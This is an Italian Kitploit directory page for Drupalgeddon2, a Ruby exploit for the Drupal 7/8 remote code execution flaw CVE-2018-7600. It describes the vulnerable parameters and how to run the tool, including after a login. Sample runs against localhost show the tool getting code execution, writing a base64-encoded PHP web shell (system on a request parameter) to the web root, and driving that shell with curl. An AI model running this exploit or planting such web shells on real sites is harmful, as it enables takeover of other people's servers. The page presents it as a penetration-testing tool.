Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Drupalgeddon2 — Exploit per Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002) | Kitploit
Strumenti/GitHubGitHub/dreadlocked/drupalgeddon2
Generazione di PayloadAnalisi delle VulnerabilitàExploitShellcodeSfruttamento di Applicazioni WebPenetration Testing
GitHubdreadlocked/drupalgeddon2

Drupalgeddon2

Exploit per Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

Vedi Repository
600169365 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

Supporta:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ URL user/register, attaccando il parametro account/mail e #post_render, utilizzando la funzione PHP passthru
  • Drupal < 7.58 ~ URL user/password, attaccando il form triggering_element_name e il parametro #post_render, utilizzando la funzione PHP passthru
  • Funziona con comandi diretti (metodo senza file) o scrive una shell PHP nella root web (./) o in sottodirectory (./sites/default/ e ./sites/default/files/)
  • Supporta target Linux e Windows
  • Rileva automaticamente la versione di Drupal (o fa una buona ipotesi!)

Il metodo user/register è stato scelto per Drupal v8.x, poiché restituisce HTTP 200 e visualizza l'output nella risposta JSON data (de-commentare il codice per il metodo timezone/#lazy_builder, che restituirà HTTP 500 & cieco!) (Maggiori informazioni)

Autori:

  • Hans Topo (@_dreadlocked)
  • g0tmi1k (@g0tmi1k)

Note:

  • Per utenti/configurazioni avanzati esiste un exploit più personalizzabile. Vedi la sezione drupalgeddon2-customizable-beta.rb
  • Prima di aprire un issue, per favore, leggi la sezione di risoluzione dei problemi alla fine. Grazie!

Utilizzo:

$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
       ruby drupalgeddon2.rb https://example.com
$

I parametri --verbose e --authentication possono essere aggiunti in qualsiasi ordine dopo e sono entrambi opzionali. Se viene specificato --authentication, verrà richiesto di fornire

  • nome utente,
  • password,
  • nome del campo del form per il nome utente,
  • nome del campo del form per la password,
  • percorso URL della pagina di login web, es. user/login
  • eventuale suffisso da aggiungere dopo le credenziali nell'invio del form, es. form_id, ecc.

Questo serve per supportare lo sfruttamento di siti web che richiedono prima un login web basato su POST e che rispondono con un cookie di sessione, dopo l'autenticazione riuscita.

Esempio Drupal v8.x

Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>

Esempio Drupal v7.x

Drupal < v7.58

$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'

ubuntu140045x64-drupal>> uptime
 14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>

Comandi Diretti / Shell Non PHP (metodo senza file)

Se non vuoi nemmeno provare a scrivere una shell web PHP sul web server, modifica il file come mostrato (in caso contrario, ricadrà se non riesce a trovare una posizione scrivibile):

try_phpshelltryphpshell = false

Esempio

Scarica lo strumento